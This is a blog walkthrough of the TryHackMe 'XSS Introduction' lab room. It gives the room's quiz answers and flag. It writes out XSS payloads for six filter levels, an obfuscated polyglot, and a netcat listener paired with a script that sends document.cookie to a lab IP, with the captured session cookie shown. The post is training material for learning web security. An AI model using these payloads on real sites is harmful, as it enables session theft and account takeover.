Post cover image

July 27, 2026

TryHackMe XSS Introduction Walkthrough

TL;DR Walkthrough of the TryHackMe room XSS Introduction.

By Rich

2 min read

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This room wasn't exactly hard, even for me, however I didn't see any walkthroughs for it on Google. Therefore figured I'd bother posting the notes I took while completing the room.

On a sidenote this room used the same VM and web application as the rooms Walking an Application and Content Discovery. Our walkthrough of those rooms is here.

— — Task 1 — -

I understand the learning objectives and am ready to learn about XSS!

No answer needed

— — Task 2 — -

What is the URL parameter in the URL http://google.com/text=?

text

Which is the most renowned scripting language for adding interactivity to the DOM?

JavaScript

— — Task 3 — -

Which document property could contain the user's session token?

document.cookie

Which JavaScript method is often used as a Proof of Concept?

alert

— — Task 4 — -

What is the text shown in the alert pop-up after a successful XSS attack?

Hack

What is the response, if you use the payload ?

Test123

— — Task 5 — -

What is the alert pop-up after executing the payload mentioned in the task?

You are Hacked

— — Task 6 — -

What is the alert pop-up after executing the XSS payload?

Hacked you again

Does DOM XSS also occur on the server side? (yea/nay)

nay

— — Task 7 — -

What type of XSS is very similar to Blind XSS?

Stored XSS

Extract the user's cookies using netcat and the payload. What is the Connection: value returned in the Netcat output?

Fire up a netcat listener on Kali.

nc -nlvp 9001

Then copy/paste this into the ticket's subject and submit the ticket.

</textarea><script>fetch('http://10.65.82.200:9001?cookie=' + btoa(document.cookie) );</script>
Connection received on 10.65.82.200 35200
GET /?cookie=c2Vzc2lvbj03YzU0Nzc1ZmJjZTIwZjExMjJmYmNjOTJhOTlmZDlmMQ== HTTP/1.1
Host: 10.65.82.200:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://10.65.142.156:8080/
Origin: http://10.65.142.156:8080
Connection: keep-alive
Priority: u=4

I had thought that I was supposed to find the cookie's value so I Base64 decoded it and got:

session=7c54775fbce20f1122fbcc92a99fd9f1

However all TryHackMe was looking for is "keep-alive".

None

— — Task 8 — -

What is the flag you received from level six?

I'll blow through these and just show the value that I copy/pasted into the Name box.

Level 1

<script>alert('THM');</script>

Level 2

"><script>alert('THM');</script>

Level 3

</textarea><script>alert('THM');</script>

Level 4

';alert('THM');//

Level 5

<sscriptcript>alert('THM');</sscriptcript>

Level 6

/images/cat.jpg" onload="alert('THM');

#Alternate, more obfuscated method:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/ - !>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

THM{XSS_MASTER}

None

— — Task 9 — -

I have successfully completed the room!

No answer needed

Summary

Like I said this was a short, relatively simple room even for me. I just didn't see any walkthroughs out there so I turned my notes into one.

While I was completing Task 8 I noticed the URL.

http://10.65.142.156/level5

We can skip straight to Level 6 via simply changing the level number on the URL. Ironic that the Intro to XSS included Web Parameter Tampering. I'm not sure if that was on purpose or not but if so kudos to the room's author for having a sense of humor. Freya approves and she liked the pic on the Level 6 page.

None

She loves the home lab. That laptop leaning up against the rack is the one I tested out OpenSUSE Leap on. I recently slapped a cheap SSD in it and now it's running like it's almost a brand new computer.

References

OWASP RE Web Parameter Tampering: https://owasp.org/www-community/attacks/Web_Parameter_Tampering